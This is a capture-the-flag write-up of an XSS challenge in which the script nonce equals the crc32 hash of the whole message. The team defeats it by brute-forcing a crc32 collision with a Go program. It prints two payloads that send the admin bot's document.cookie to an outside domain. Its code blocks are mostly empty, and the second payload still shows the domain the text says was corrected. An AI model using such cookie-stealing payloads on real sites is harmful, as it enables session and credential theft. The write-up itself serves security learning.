tl;dr
- craft a payload with a random nonce
- use hash-collider to collide the nonce we gave earlier
Challenge Points: 115
No. of solves: 178
Solved by: Lu513n
Description
the nonce isn’t random, so how hard could this be?
(the flag is in the admin bot’s cookie)
Solution
Understanding the challenge
Here we get the source for \?source
1 |
|
It’s a simple XSS Challenge in PHP. The catch is that there is a nonce that prevents us from getting XSS directly and the nonce is basically the crc32 hash of our payload. But our payload must contain the nonce
Basically We should have the crc32 hash of the WHOLE MESSAGE inside the MESSAGE
Trying the Bruteforce
For a while, we were trying to brute force the nonce, hoping it will be the same at least one time since the crc32 has only 8 bytes.
1 |
|
But this never worked out :cry:
We tried this so for so long and while it was running we searched for other ways.
Trying the collider
So we searched for crc32
collissions and got this
1 | func AddLetter(c chan string, combo string, alphabet string, length int) { |
This is just a crc32 hash collider written in go. It will start with a String and append as many characters as maxLen
would allow and try if the hash matches. So all that was left was for us to decide on a nonce and give its corresponding integer as the target
in the code.
Note: Here we had to use a domain as the payload can only contain 127 characters and if we use webhook url we won’t have enough charcters left to bruteforce
By running the code on 16 different laptops with 16 cores with 16 different nonces, we were able to collide it just in time.
1 | <script nonce="e6377dcb">window.location="http://asol.space?x="+document.cookie</script>000000000000000000000000000000000048io |
But we made one mistake in the domain to which the flag is sent. Where the domain was supposed to be https://axol.space
I put https://asol.space
:sob:
Now we had to put the correct domain and hash it again. This time it took even longer. It took so much time that we were just going to buy https://asol.space
. But we collided that payload too and finally got the flag
1 | <script nonce="e6377dcb">window.location="http://asol.space?x="+document.cookie</script>0000000000hytza |
Flag: dice{h0pe_that_d1dnt_take_too_l0ng}